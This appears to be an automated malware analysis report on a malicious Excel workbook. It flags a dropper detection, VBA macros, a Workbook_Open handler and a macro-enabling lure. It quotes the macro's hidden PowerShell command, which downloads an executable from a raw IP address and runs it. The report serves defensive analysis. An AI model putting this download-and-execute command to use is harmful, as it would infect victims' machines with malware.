Malicious Office (OOXML) / .XLSX — malware analysis report

Heuristics 10

• ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
• VBA project inside OOXML medium 5 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

  Debug.Print sCommand
  Set oWshShell = CreateObject("WScript.Shell")
  Set oWshShellExec = oWshShell.Exec(sCommand)

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

  Dim oWshShell As Object, oWshShellExec As Object
  sCommand = "powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri ""http://192.119.74.208/wp.exe"" -OutFile $TempFile; Start-Process $TempFile;
  Debug.Print sCommand

• VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
  The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
  Matched line in script

  Private Sub Workbook_Open()
  Dim sCommand As String, sOutput As String

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Debug.Print sCommand
  Set oWshShell = CreateObject("WScript.Shell")
  Set oWshShellExec = oWshShell.Exec(sCommand)

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  Private Sub Workbook_Open()
  Dim sCommand As String, sOutput As String

• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
  Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: http://go.microsoft.com/fwlink/?LinkId=846285
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://192.119.74.208/wp.exe In document text (OOXML body / shared strings)

  • http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
  • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink
  • http://go.microsoft.com/fwlink/?LinkId=846286Document hyperlink

Open this report in the interactive analyzer, or submit your own file for analysis.